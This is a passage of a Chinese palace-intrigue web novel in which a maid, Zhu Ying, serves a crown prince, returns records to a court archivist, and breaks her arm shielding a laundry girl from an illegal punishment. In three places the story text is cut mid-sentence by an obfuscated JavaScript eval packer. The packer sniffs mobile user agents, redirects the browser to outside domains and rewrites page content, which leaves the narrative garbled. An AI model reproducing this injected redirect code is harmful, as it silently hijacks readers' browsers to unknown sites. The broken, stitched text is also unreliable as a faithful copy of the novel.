前往恩光殿的一路寂静极了，连掌灯的宫人也不见几个，她却在半途，见到个鬼鬼祟祟的人影，似在闲逛。 竺影端着食盒走过去，抬脚踢了踢那人的脚后跟，故作惊讶道：“呀——在等我？” 陆芃被她吓了一跳，回过神来骂道：“你少自作多情！” 竺影问：“所以——你在这做什么？” 陆芃道：“同你没关系。” 竺影道：“那你继续逛，我去恩光殿了。” “等等。”陆芃叫住她道，“你这是去找我表兄？这么晚了，你去找他做什么？” 竺影理所当然道：“看不出来吗？我去献殷勤。” 惊讶于她的“坦荡荡”，陆芃哑口无言，默默让开道。 竺影又道：“我煮了些梨汤，厨房里还剩下一些，你若想喝，可以自行去盛。” “竺影。”陆芃又叫她，“他回来时沉着个脸，似乎心情不大好。” 竺影反问：“他几时心情好过？” “啧。”陆芃有些恼，提醒说，“总之，你小心些就是了，别惹恼了他。” “哦。”竺影一点头，继而端着食盘沿着前路去。 天已经尽黑了，殿中灯火幽微，只有主屋燃明灯一盏，两个宫人在檐下点灯。 羽音在殿外当值，一见了竺影，如同猫儿见了天敌，周身的毛都立了起来，竖起两道眉毛质问她道：“你来做什么？” 竺影道：“送汤。” 羽音道：“谁知你又安的什么心？” 是啊，她哪里会安什么好心？ 竺影淡淡道：“那我不来，我走？” 不等羽音开口，她抬脚转身就走，心里默默数着，一息、两息……不过三息，听屋内传来一声呵斥： “羽音，让她进来。” 果不其然。 羽音暗恨踢了一脚墙根，气鼓鼓瞪着竺影。 竺影笑着看她一眼，定了定神朝主屋走去。 进了门，左右环视却寻不见人，刚一抬头，那人便披衣从屏风后步出，走到竺影面前。 燕尾纱衣曳地，青丝未束披垂在两肩，还带着出浴不久未干的水汽。 吓得她一步趔趄，险些打翻了食盒。堪堪扶稳，她又迅速低下头去，暗暗骂一句，这人好不知礼数。 孟闻不去看她，只看着窗外灰蒙蒙一片，说道：“这个时辰……我以为你今夜打算睡在宫道上，不回来了。” 竺影道：“殿下说笑了，纵是鸟儿也得寻处屋檐栖息啊。” 他从竺影身侧走过，掀起一阵风，吹得烛影摇摇晃晃。 他忽然问了一句：“你喝酒了？” 竺影道：“没有。” 得了个否定的答案，他转而下了另一个论断：“那就是被某个醉鬼缠上了。” 今日宴上醉鬼多了去，他却没有明说是谁，只能叫竺影自行去猜。 “怎么会呢？”她言笑晏晏，又道，“只是我忘了。” “忘了什么？” 忘了太子殿下属狗。 竺影只敢悄促促地想，暂且还不敢这么说。 “此前去同宫人们沽酒时，难免沾惹一些酒气，回来却忘了换衣裳。”她如是解释。 孟闻又问：“今日宴后去了哪里？” 竺影道：“去了揽春台，不过随处走走。” “直到现在？” “而后去了厨房。” “那你此时过来——” “送梨汤。” “梨汤？” “想到今日宴上的驼峰炙与牛心炙，尽是腥膻之物，本该佐以梨汤，正好解腥腻，光禄寺却疏忽了，不曾准备。” 说着，她打开食盒将梨汤端出来，置于桌案上。 热气还未散去，屋内瞬间氤氲着甜津津的气息，很快盖过了她身上的酒气。 “雪梨盅、山黄皮……”孟闻随意瞥了一眼，又想起她白日里以水换酒，不由称道，“你倒是体贴又心细，总能顾及别人所想不到的东西。” 这话说得阴阳怪调，不知是在夸她，还是另有所指。 竺影回道：“从前跟着宜夫人当差，她挑剔得多，稍有不周，是要受罚的。” 孟闻道：“到这处又没人罚你。” 竺影收起食盘，独独没回应他这句。 他略去那些礼仪，不在乎得体与否，此时单单直视着她道：“深夜送梨汤，无事献殷勤，你可是做了什么对不起我的事？” 竺影干笑一声，道：“怎会呢？我又岂敢？” 孟闻道：“可你却低头畏缩，不敢看我，为何？” 她飞快抬眼一扫，又再度低头，忍不住说道：“殿下能否先将衣裳穿好？” “本要睡了，谁知你会在这个时辰过来？”他皱起眉头，拢紧衣襟背过身去，言语中又怨责之意。 “是我不该贸然前来，扰殿下休憩。”竺影指了指桌上的雪梨盅，问道，“既要睡了，那这梨汤殿下也不吃了吧？不吃我就端走了。” 孟闻转头瞪了她一眼。 “留下。” “哦——”她又收回刚伸出去的手。 “还有一事，要你明日去办。” “殿下请讲。” 孟闻收拢案上的卷宗，推到她面前。 “这些卷宗看完了，替我送回秘书监。” “好。”竺影应下，又是个跑腿的活。 她似乎很久没去过秘阁。 雪化以后，再踏上那一段宫道，却觉得有些陌生。 昨日些许小事扰得她彻夜难眠，晨起时仍然有些头疼。 今日在道上缓行，看到枝头抽出的新芽，才恍然惊觉，原来已经入春了。 她在宫城里如履薄冰一日日，熬过了又一个深冬。 到了秘阁，不见了冬日里那个小宦官，也不见小谢大人。 秘书令祝大人似乎也不在阁中。 竺影径直上了楼，直往堆满杂书的屋子走去。前方一扇门关得严严实实，门口散落了几卷旧书，纸页残缺泛黄，有些年头。 没往前几步，却被身后人叫住。 “此处为秘阁藏书禁地，还请宫人止步。” 她捧着几份卷宗，慢慢转过身来，望见一副苍白的病容。 “祝大人。” 许久不见，他竟比上个冬日更憔悴些。 竺影向他道过礼，又说：“太子殿下命我归还卷宗。” 祝从嘉上前几步，停在她与存放典籍的禁地之间，施施然伸出手来。 “交由我便好。” “那就有劳大人了。”她将那几份卷宗如废纸般往他怀里推，便转了身要走。 祝从嘉道：“有些事须得问一问宫人。” 竺影停住脚步。 听他问起：“宫人可知洗春阁中所藏尚书是哪一个版本，共多少篇？” 竺影道：“为梅赜所献辑书，共五十八篇。” “我知晓了。”他略略颔首道，“届时秘阁会誊抄今文二十八篇，遣人送去洗春阁。” 竺影问他：“今文由前人世代相授得以流传，而古文为残卷所载。今文与古文并不相同，大人以为世人口口相传之事比残书上的记载更为可信，故而弃典籍？” 祝从嘉道：“古往今来诸多事，皆是真真假假，这些本就是说不准的。” 竺影复问道：“可是人有谎言，死物也会说谎吗？” 祝从嘉道：“典籍也是可以伪造的，何论证物？太子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16504938|183722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 殿下应当没从这些卷宗与账簿里查出任何线索，书上编的亦真亦假，谁又分得清呢？昨日之事，是昨日的你记得更清楚，还是今日的你记得更详实？倘若十几年前的一件事，在当年一笔带过，却在十几年后的今日记载得更为详细，不觉奇怪么？后人又是如何比当时之人了解得更多？细究下来，难免有篡改之嫌。当你见一件往事随时间过去，书写却越来越详细，这段历史已经不可信了。” 竺影道：“大人说想说，这些卷宗后来经由他人之手整理过，已不是最初的版本，所以太子才什么都查不出来，对吗？” 祝从嘉不置可否，道：“宫人可回去转告太子殿下。” 须知百代兴亡多少事，于天子而言，他所寻的真相最是不要紧。 竺影道：“我知晓了。”她行过一礼便转身离去，留他一人在万千卷帙当中。 书架的尽头，落下一声似有若无的叹息。 归去途中，路过园子里两棵高大的棠棣树，去年陛下携众臣在此处赏雪，竺影恰是在这儿，碰上了去年冬遇见的那个小宦官。 小宦官一眼就认出了她，一路小跑上前来朝她拱手道：“兰姊姊，你还记得我吗？” 竺影惊喜道：“你是长芨？真巧啊。” 长芨道：“早先听人说起，姊姊如今不在静和宫了，我还以为以后再见不到了。直至昨日在宴上见到你，知你如今跟在太子身边了，我才专程找来，想与姊姊说一声，我已经调去鸿嘉殿当值了，是去年冬日的事。” 竺影笑道：“原来如此啊，难怪两次去秘阁都没见到你。还未来得及恭喜你，一转眼已到御前去侍奉了，说不准来日也会像尚常侍那样，成了陛下跟前的红人。” 长芨道：“姊姊高看我了，我哪里敢奢求这些？只求平安顺遂就够了。三月不见，姊姊怎么憔悴了？” 竺影道：“没什么大事，只是近来太忙，没睡好罢了。” “想来储君新立，东宫事务繁忙，姊姊也成了大忙人了。”长芨有些难为情道，“其实我来寻你，是有事相求的。” 竺影道：“你且说来，凡是我能办到的，定然会帮你。” 长芨道：“我有一个妹妹，唤作长莘，她现下在浣衣局做事，可我眼下去不得那里，便想请姊姊替我将这些东西转交给她。” 竺影接过包裹，问道：“这里头装的是什么？” “是陛下给的赏赐，还有些糕饼与膏药。”长芨解开包裹给她查看，又仔仔细细包好，与之絮絮叨叨，“浣衣局的姑姑不好说话，我担心她一个人在那里，受了欺负，只能请姊姊得闲时，能偶尔照看一下她。” “小事而已。”竺影不多犹豫便应下，又问，“你的妹妹，生的什么模样？” 长芨道：“她身量单薄，比兰姊姊矮些，模样与我很像，眉间还有一颗红痣。” 竺影道：“我记着了。” 长芨要给她塞些金银，被竺影推了回去。 她皱着眉，问他道：“你何时也学来了这些习惯？” “是鸿嘉殿的大人教我的，原来这样不好吗？”长芨攥着那些细软，像做错事的稚子，颇有些不知所措。 竺影语重心长道：“不是所有人都喜欢如此的，总归得论人。有的人正好吃这一套，收了银两便会帮你办事，可在另一些人那里就行不通，保不齐会将你当作是投机取巧的小人。你光学了这些还不够，还得用心去看人呐。” 长芨道：“姊姊说话跟尚常侍很像，他也教我许多。” 竺影淡笑道：“看来尚常侍也是个极好的人呐，日子总归还长，可以慢慢学着。” “嗯。”长芨重重点了点头。 竺影还要赶着回东宫去，于是道：“这些东西我替你送去，今日就此别过了。” 长芨向她拱手道别：“多谢姊姊。” 24. 春回醒枝（四） “我早就提醒过，熏静和宫的衣裳要用沉香，辞月宫的衣裳用的瑞脑香，你怎还是弄错了？” “姑姑先前说的不是这个……我是照姑姑说的做的。” “你做错了事，还敢嘴硬！若不罚你，贵人如何能消气？” “明明是姑姑您……我熏衣前还问过——” “来人！把她给我拖出去，磨一磨她的硬骨头。” 竺影还没走到浣衣局，就听到一墙之隔的地方传来断断续续的争吵声。她忍不住凑近去瞧瞧，究竟是哪个宫女要受罚。 原来是静和宫与辞月宫的主子从来不对付，给两位夫人用错了熏衣香，也难怪浣衣局掌事如此心焦。 不过急着推一个宫人出去顶罪，这路数怎么莫名熟悉？ 刚走到浣衣局正门，只见两个宫人也拖着一个小宫女走到门口，几乎是迎面而来。周围还围聚了许多人，除去几个凑热闹大的，更多还是为了杀鸡儆猴。 小宫女的手被人摁在门槛上，登时被吓得直哆嗦，是嘴硬也不敢，气势也没了，只剩声泪俱下的求饶。 “姑姑我错了，我真的知错了。求您放过奴婢吧。” “求饶有什么用？好歹得让两位主子先消了气吧？” 白皙的胳膊架在门槛上，另外两个宫女推着左右两扇门，要生生夹断人的胳膊，从前也有几个受此刑夹断了脖子的。 颤巍巍的哭声与哀求，也让围观者不寒而栗，低头不敢去看了。 这些私刑竺影只听说过，未尝亲眼见得它的残忍。起初她只是揣紧包裹，慢慢走近，直至看到那小宫女的眉心，恰恰生了颗红痣…… 眼见那门板就要合上，竺影再顾不上踟蹰，掷下手中包裹就冲了过去，挡在门缝中间。 一道诡异的声响传来，所有人都始料未及，连竺影自己都没料到，她哪里拦得住那扇门？ “嘶——” 她竭力咬紧牙关，还是忍不住叫出了声。 感知几乎全被痛觉占据，意识也被一扫而空。 她听到了骨裂的声音，手臂似乎断了。 推门的宫女也吓了一跳，当即松了手，慌忙问道：“她从哪里钻出来的？” 浣衣局里乱成一团，本要受罚的小宫女也愣在原地。 竺影疼得呲牙，捂着手笔骂道：“巴掌大的地方，还染上官瘾了，谁给你的胆量滥用私刑！” 掌事质问她：“你是何人？有什么资格来管这里的事？” 未等她自报家门，人群中已有人认出了她。 “鸣竹？” 竺影抬头看去，正是宜夫人身边的紫裳。而另一个，是辞月宫的玄英。 真真是巧了，叫这些人看见她最狼狈的样子。 紫裳问她：“你怎么会在这里？” 竺影扶着门板站直起身，冷声道：“我如今做什么，还需告知你吗？” 紫裳道：“我是问不了，那静和宫与辞月宫的事，你管得着吗？” 竺影道：“你们宫里的事我不掺合，可这个人我要护着。”说着便将本该受罚的宫女拉到身后护着，细声安慰她不必害怕。 “嗤——”紫裳笑话她，“你还当自己是半个主子吗？” 齐王也已经离京了，她从前的仰仗根本指望不上。 竺影将东宫的腰牌丢给她看，说道：“可以试试。” “是东宫的人？” “这可如何是好啊？” “我等本无意冲撞内贵人。” 浣衣局里的人不由自危，本想推个人出去顶罪，也算是息事宁人了，谁知她会掺合进来。 还没吵出个所以然，倏尔听到一阵摇铃声，来自不远处的宫道。 有贵人仪驾经过此处，宫人们也顾不得僵持，纷纷退至道旁拢袖垂首而立。 竺影无力垂着一条手臂，一手拉着长莘退去。 鸣珂锵玉，金铃当啷，她记得这个声音。 是太子仪驾。 她远远望过去，只见飘摇的帷幔间，人影若隐若现，果真是他。 肩舆上垂下一只手来，叩了两下扶手，角音当即迎上前去。 孟闻问：“那边发生了何事？” 角音道：“一群宫人聚在一起，许是起了争执，我好像看到了竺宫人。” 孟闻道：“叫她过来。” 角音道：“中书舍人还在东宫候着，殿下不如先回去？由我过去看看。” 孟闻道：“也好。”他一抬手，众人又扛起肩舆继续行路。 见他走了，竺影一声不吭走过去捡起地上的包裹，角音也正好走向她，先她一步捡起来，递还到她手上。 角音道：“殿下叫你回去。” 竺影道：“可否容我耽搁片刻，就与她说几句话？” 角音道：“别耽搁太久。” 竺影这才搂着包裹，走向那个惊魂未定的小宫女。 “你是叫长莘，对吗？” “嗯。”长莘直直看着她，点了点头。 竺影道：“是你兄长让我来找你，他叫我把这些东西拿给你。” 长莘道：“那你的手……” 竺影牵强扯出一抹笑：“小伤而已，没事。” 长莘道：“谢谢你。” 竺影将长芨的话与东西带到，便没有什么要说的了。离去之前，她又看向浣衣局管事：“韩姑姑，我不记得哪条律法宫规中有记载，掌事宫人可以私自用刑。是谁的过错谁自担着，依照宫规该怎么罚就怎么罚。我下次来时，也要见她如今日一般全须全尾。” 浣衣局管事连连点头应是。 竺影随角音一并回去，走在他身后，极力遮掩受过的伤，一路上也走得慢极了。 到了东宫，她问：“客人都已经走了，殿下可还需我去洗春阁？” 角音两手一摊，道：“我不知道，须得你自己去问了。” 竺影叹了口气，似认命般埋头往竹径中走。 两个洒扫的宫人适才退出来，太子在阁中，持一卷书，焚香默坐。 她慢腾腾挪着步子过去，该行礼时才发觉左臂根本抬不起来，于是只能木木地站着。 “殿下。”她惴惴开口，声如蚊蝇。 孟闻不曾看她，只当她心虚，张口就是一顿皮里阳秋：“我道怎么回的这般迟，原来是去别处闲逛了。” 竺影道：“是小人的过错，小人自愿请罚。” “请罚？”他笑，连请罚都与某人如出一辙。 可一抬头，忽地愣住。 只见她满额的汗，浸湿的额发贴在面上，像是生了一场大病，再看袖角，不知怎的撕裂了一块。 他略略皱眉，捏紧了手中书，转又放下，问她：“是怎么成了这幅模样？” 竺影道：“不小心伤到了，回去养两日便可。” 看她遮遮掩掩，他就又看角音。 角音一会儿看天，一会儿看地，说道：“我不知道，我去时她就已经是这样子了。” 孟闻吩咐道：“去请章太医来。” 才刚跑完一遭，角音自是不情不愿：“她说只是小伤，只消让徴音来给她上药，何必去请太医过来？” 孟闻道：“叫你去你就去。” 角音又问：“张太医和章太医，是要请哪一个？” 孟闻不耐烦道：“别问废话，你要是能把那个死的也请来，算你本事。” 角音撇撇嘴走了。 中书舍人季常早就走了，他这一去，洗春阁里就只剩两个人。 太子一直坐在窗前，手边放着一卷书，望窗外竹海，似乎心情不佳。 竺影不太想触他的霉头，于是坐得离他远远的。 纵是隔了大老远，也阻拦不了他继续挑刺。 “今日东宫有客，你这一去，宫里无人煮茶。” 竺影问道：“殿下不是从来不喜欢我煮的茶？” 他道：“用来待客却是合适的。” 竺影听懂了他的阴阳怪气，也知道那所谓的“客人”有多不受他待见了。 她想起祝从嘉交代的事，随口转达一声；“祝大人让我转告殿下，洗春阁中所藏尚书并非善本，要重新誊抄秘阁中的二十八篇送来。” 于是他刚拿起尚书的手，便又轻轻放下。 “祝大人有心了。”孟闻淡淡瞧着她，“说说，到底怎么弄的？与其等我去查，不如你自己坦诚些。” 竺影这才开口道：“为了救人。回来路上见到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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竺影看到那张脸，已经做好了被痛骂一顿的准备。 不想孟闻先接了话：“什么怎么回事？” “咳——”陆芃当即闭了嘴，又道，“表兄你也在啊……我听闻你、你的女官出了事，顺道来看。” 角音解释说：“途中遇着女郎君，她问我缘何请太医，我同她说了，她非得跟过来——看一看。” 孟闻道：“没什么要紧的事，别妨着太医。” 又对章太医道：“我的女官受了点伤，有劳大人替她看一看。” 章太医不多言，放下药箱，竺影配合他卷起袖子，露出其下一片青紫。 “啧。”陆芃看了，不禁轻叹了一声。 章太医琢磨一阵，说道：“这伤得不轻，骨头都断了啊。” 陆芃两道眉拧成一团，又道：“这下好了，要当一辈子残废了。” 章太医擦了擦汗，忙道：“能治，下官能治。” 只待他又一阵摸索，让竺影咬着一方锦帕，三两下接好断骨，疼得陆芃呲牙乱叫。 太医接完了骨，等随行的医生为其敷了药缠上纱布，又留下几贴膏药，一张方子。 “伤筋动骨百日，切记好生修养。”留下三两句叮嘱，便走了。 陆芃盯着竺影，幽怨道：“下次觉得疼就叫出来，别硬撑了。” 竺影吐掉了嘴里的锦帕，艰难从牙缝里挤出两个字：“不疼。” 陆芃怒而捞起袖子，露出她留下的数道指甲印，毫不留情奚落：“得了吧，不疼你抓我抓这么狠？” 竺影勉强笑了笑，不知从何处听来一声叹息，她抬眼偷觑，瞧见孟闻那张写满不耐烦的脸。 他放下书卷，迤迤然从坐席上下来，说道：“既无碍，便回去，洗春阁用不上你。” “好。”竺影应了，迫不及待消失在他视线里。 待陆芃也走了，孟闻才问角音：“让商音去查一查鸿嘉殿里一个叫长芨的内官，还有浣衣局里一个叫长莘的宫人。” “是。”角音点头应下。 孟闻心中仍有疑虑，又道：“她二人何时如此相熟？” 角音道：“殿下问的，是她与女郎君？可是担心她会对女郎君不利？” 本该亲自去问一问陆芃，孟闻却又打消了这个念头，自言道：“罢了，不必去理会。” 25. 春回醒枝（五） 旱了一月的京城，在二月初落下一场春雨，丝丝缕缕穿响竹林，点作人间愁绪。 竺影先前伤到了手，虽说断骨已经接上，却还是在雨天隐隐作痛。 洗春阁里的藏书都已做好编目，东宫里鲜少有事需要一个女史去操劳。她只需每日在太子来之前点好熏香，就没有别的事了。 前阵子秘阁誊抄好的今文《尚书》已送了过来，整整齐齐码在书案上。 竺影理完了书，正往架子上添芸草。 屋外雨点作响，噼里啪啦砸在瓦檐上，润透斑驳的青瓦。 这个时辰竺影早该离去，奈何来时没下雨，也不记得带伞，于是被一场淅零淅留的雨困在檐下。 晚些孟闻也过来了。 他喜欢读书，闲时总爱待在洗春阁。 竺影往时回去得早，所以有些天没见着他。 今日孟闻在阁中见到她，有些惊诧，可很快也猜到了为何。 屋外墙角下，只放着他与仆从的两柄伞。 “殿下。”竺影向他行礼，又一指架上的几卷书，说道，“这是秘阁新送来的版本，已经校对过了，没有缺漏。” 孟闻略略颔首，道：“秘书令有心了。” 竺影正犹豫着要不要问他的仆从借伞，晚些过来归还，没等她开口，孟闻已走上前来，取走了她面前的新书一卷，捧在手里翻看。 离得不远，书间有淡淡的松墨香。 孟闻看了没两页，却突然问起：“据我所知，他也是云琅人士，你入宫前是否与他相识？” 竺影迟疑道：“殿下问的是秘书令吗？” 他低头读书不说话，像在埋怨她的明知故问。 “认识的。”她默了一阵，随后避重就轻解释说，“两家从前是旧好，在云琅时有过往来。” 他生了些许兴致，稍稍从凭几上直起身子，问她道：“那么你对这位秘书令了解多少？” 竺影背对着他，装作清点着架上的书目，随口答道：“不多。只知他自幼承袭家学，通古今政事，喜谶纬之学，少时入朝为官任著作郎，后得陛下赏识擢升至秘书监，短短三年由丞至令，未至而立便身登三阁，成了天子近臣。人人都羡慕他初入仕途便是清官*。” 孟闻听出了她的敷衍，轻轻嗤道：“说点我不知道的。” 竺影反问：“殿下为何打探他？” 孟闻道：“陛下点他来东宫讲学，我不过是好奇，想多了解一二。” 竺影偶尔才得到他肚腹中藏的什么心思，就如眼下他随意找来一个由头，竺影怎会听不出她的搪塞？ 只是太子何须向一个宫人多解释些什么？她偶尔斗胆不知礼数一回，他不答，她也就不问了。 竺影思忖着回道：“秘书令啊……从前在云琅，应当是无人不知，无人不晓的存在，官家子弟无不羡慕他，百姓无不爱戴他。他本是家中长子，幼承家学，成年后却并未承家主之位，反而让给了他的族弟，祝从善。 “倒是可怜他被这一身疾病，拖累半生。不过外人只知他体弱多病，整日凭汤药续命，都称他作‘病痨鬼’。却不知晓，其实他是先天不足。曾有神医断言，他活不过三十岁。” 说到这里，她忽然顿了顿，像在为他惋惜似的。 “朝中的官员或许不知晓，祝秘书令除了与书为伴，还善弈棋。论及棋艺，或可与国手一较高下，可他二十岁就不再执棋了。长久以来，他都只在秘阁编书修史而已。” 孟闻轻飘飘抛出一句问询：“倘若他只是一个修史的清官，孟晓为何会对他颇为礼重？” 他拐弯抹角问起旁人，到头来还是绕回齐王身上。 竺影先前说了许多，此刻一味回避着：“当时陛下染病，宫中人人自危，只有秘书令与尚常侍能到天子榻前侍奉，齐王才会才那时找上他。” “原是这般……”孟闻道，“我以为他能得陛下宠信，必然有过人之处。听你所言，他倒与寻常人没什么不同。” “这雨一时半刻不会停了。我在此观书，你到楼上去吧。” 她此时坐在阁楼上观雨，楼下的人并未像往常一样翻书，也不去看卷宗，仅是临窗静坐，似乎是在等人。 少顷，随风流动的幽篁间出现一柄倾斜的纸伞，缓缓走向书阁。 竺影移目看去，倏然望见伞下一双温和平静的眼，在雨雾中更温润几许。 竺影方才听说陛下命祝从嘉教授太子策论，没想到他会在今日过来。 “殿下。” “先生不必多礼，还请落坐。” 楼下传来熟悉的声音，她没忍住下了楼。 孟闻没吩咐她做任何事，她已自行端走了茶具，到屋外煮茶。 有一段时日没煮过茶，案上那套茶具明显没了润泽之色。 屋中两人对坐读书，她便坐在廊下煮茶，持一柄蒲扇，等待茶水滚沸的过程中，百无聊赖偷听屋里的谈话。 祝从嘉捻开书页，说道：“今日，便还是讲《书》吧。” 孟闻却道：“我听人说起，先生善弈棋。” 祝从嘉翻书的手一顿，坦然道：“已经是数年前的事了，那时也只有半篓子水平，哪里称得上善？如今的我早已不执棋。” 孟闻问：“不执棋，又是为何？” “二十岁不成国手，终生无望。既然注定局限于此，索性不再下了。” 秘书令是这样回答的。 屋外煮茶的人轻轻叹了口气。 他说不成国手，终生无望啊。 可竺影记得他爱棋，爱与家中长辈、族中兄弟切磋，更胜一筹。 竺影见过弱冠之年的祝氏公子初任著作郎，那年也曾年少肆意，风光无量。 后来一次次在棋局中、官场上遇到了力所不能及之事，不得不屡次三番妥协，步步谨慎退让，成了如今这般。 竺影何尝不是如此。 其间不过六年而已。 平复片刻，她将煮得滚沸的茶汤倒进壶中，再度端起茶盘走进屋内。 从嘉披着一件鹤氅衣，额上系一条绀色絮巾，手执《禹贡》一卷，正襟危坐。另一人则跽座，垂首恭听。 抛开那些算计不谈，两人倒是像极了一对师生。 竺影不觉分了神，茶汤溢出杯子，浇在手背上，烫得她猛然抽回手，不慎碰翻茶盏。 本来没什么大事，她吃了痛也不吭声。 可是茶水溅出去几滴，在祝从嘉的衣袖洇开一圈茶渍，引得座上的另一人不悦。 一双眼眸冷冷地望过来，那人斥责道：“受了伤便养着，省得活干不好，还摔了东西。不知晓的，还以为是我有意苛待宫人。” 祝从嘉收拢了衣袖，温和道：“无妨，不必自责。” 竺影看了他一眼，将杯盏茶壶放归原处，本要退出去。 祝从嘉却突然开口：“能否劳烦宫人，将架上那卷辩亡论拿过来。” 睢言道：“她手脚不利索，换个人过来。” 祝从嘉道：“只是些小事，外面还下着雨，一来一回多有耽搁，不必差遣别人了。” 一言一语，竟有些争锋相对的意思。 秘书令已开了口，太子到底没再发话。 竺影犹豫片刻，还是看向祝从嘉，问道：“令君要的是上卷还是下卷？” 祝从嘉道：“上卷。” 她即刻旋踵穿梭于书架间，很快就找到了那卷辩亡论。 陆平原的文章，她早年也曾读过。 匆匆将书送去，她便折返于廊间坐下。 本该教授给太子的策论，她坐在不远处，也得缘听着。 太子问：“两日前太史令占，荧惑入舆鬼，犯积尸，恐有兵丧，天下大疫，先生如何看？” 祝从嘉却反问：“殿下以为，天文之象、鬼神之说，可堪信否？” 太子道：“自是不信。祸由人起，兵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16542972|183722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乱死战皆由人挑拨而生，怎可以星象一言概之？” 祝从嘉道：“殿下不信，自会有人信。不然昔年陛下也不会大兴土木，为安定人心而建观星楼。天文之象为天下人所共见，殿下可以不信，却难阻止有心之人利用星象大做文章，散布遑论。星象作何解，也是由人来定。适逢殿下要前往并州，便有人在提及这些，届时北地出了什么变故，他们也就有了托词。” 太子低落道：“若我做得不好，便是我这储君德不配位，不能承社稷之重，他们也就有理由废储，另拥旁人。可我不惧此事，不怕杀生。先生也曾说过，并州屡遭劫难，百废待兴。那里等着重建的，并不只有一座观星楼。” 还有被蠹蝝搅乱的秩序，有那凋敝的民生、丢失的民心，以及国朝的威严。 “殿下是大梁的储君，所要顾及之事，并不仅仅是过往沉冤。” 他温吞而淡泊，像提笔作画时晕开的第一道水痕。仅落下第一道水色，余下的点染、铺墨，乃至浓墨重彩，都交由旁人自行落笔。 孟闻拢袖向他揖了一揖，说道：“我知晓了，多谢先生点拨。” 祝从嘉最后问起：“算下日子，殿下就将离宫了吧？” “是。”孟闻道，“五日后启程，初六日先生不必到宫里来。” 祝从嘉道：“如此，便祝殿下此去顺遂。” 不知过去多久，太子送秘书令走出书阁。 雨已经停了，只有竹丛间时不时落下几滴积雨。 祝从嘉身边的童仆拿了伞，本来也没她什么事，太子莫名其妙叫她起来，神情也耐人寻味。 “竺影，代我送一送先生。” 竺影心下一惊，他是否又察觉了什么？ 祝从嘉神色日常，并未拒绝，只是淡淡道：“有劳宫人了。” 滴雨的林间，竺影走在祝从嘉身后，没有撑伞，他遂叫小童也将伞收着，任由不知轻重的雨点，砸过他的发顶、肩头。 走出去几十步，洗春阁也隐在幽篁后，早就望不见。 祝从嘉放慢脚步等她走到并肩的位置，缓缓看向她道：“仅仅几日不见，你清减许多。” 他看出来她的憔悴，也看到了她的伤。 竺影抿着唇，起初不愿接话。可被他盯得浑身不自在，这才别过脸去开口：“还请令君——不要这样看我。” 须知此时的怜悯对她来说，是一种冒犯。 她是落魄了，不及跟在孟晓身边时风光，那又如何？ 难不成要靠旁人的怜悯，才可安然活着？ “阿影。” 那人忽然这样唤她，声音也哑着，像喉间有化不开的苦涩。 “当年送你入宫，你可有怨我？” 她闻言失笑，不甚在意道：“秘书令为何这样说？当年……是我自己要入宫的。” 祝从嘉道：“你如何骗得过我？如若你想离开了，我得陛下几分赏识，恰足矣去讨一个恩典。” 竺影仰头看着头顶的枝梢，竹叶层层叠叠，片片如锋芒。 “不必说这些，宦海经营不易，令君不必为我耗费这些恩情。何况当年祝家已为我求过一次恩典，我尚无以为报，怎敢再欠您一个人情呢？” 她平静开口，将妄图施以援手的人拒之千里。 “真相真有那么要紧？”他问。 “当然。”竺影道，“一辈子担着莫须有的罪，我不愿那样过活，父兄也不愿。” 祝从嘉低下着眼睫，没再相劝。 竺影只送他到东宫门口，止住步子不再上前。 “趁着雨歇，令君早些回去。” “你也……”祝从嘉回望向她，遗憾道出两字，“珍重。” 他来时未有惊扰，离开也不曾张扬。 竺影站在滴雨的檐下，无言目送着他。 宫道上积了雨水，在白日里亮堂堂的，如明镜映照出他的身影。长袍广袖垂下，难免沾染些泥泞。 26. 春回醒枝（六） 宫人送那位先生归去后，不觉雨也停歇，洗春阁里静悄悄的，偶闻檐下滴雨声。 孟闻在书阁二楼，坐在竺影曾落座的书案前。案上摆着她曾翻过的一卷《文赋》，尚展开着，页末止于一句：“精骛八极，心游万仞。观古今于须臾，抚四海于一瞬。”* 他一字一字卒读，听木台阶的踢踏之声也越来越近，直至落到他跟前。 商音上前来，拱手禀报：“殿下，章太医来了。” 孟闻道：“传他去恩光殿罢。” 章太医本是来为那女官复诊的，却先去见了太子。 待孟闻回到恩光殿，太医从药箱里取出个小匣子，揭开里三层外三层的绸布，恭恭敬敬捧送至太子面前。 章太医道：“殿下命下官查验这些果脯，此物在炮制之时，应当用硫磺熏制过，不宜多食。” “硫磺？”孟闻稍显讶异，不由扣紧了白玉扳指。 章太医又解释说：“民间常用此法，可使果脯保存得久些。只是宫中膳食断不会依此法炮制，敢问殿下，此物究竟从何而来？” 孟闻不答，收拢了那些果干，面上平静道：“有劳太医，且勿让他人知晓。” 章太医遂不问了，只颔首应是。 孟闻又道：“今日还要劳您太医前去为我宫中女官复诊。” “下官分内之事。”章太医拢袖行了一礼，便辞去了。 孟闻一个人在殿中，凝睇那几枚灰褐干瘪的山黄皮，久矣不能平复。 商音又入殿中来道：“殿下此前命我查办的事，已有了眉目。” 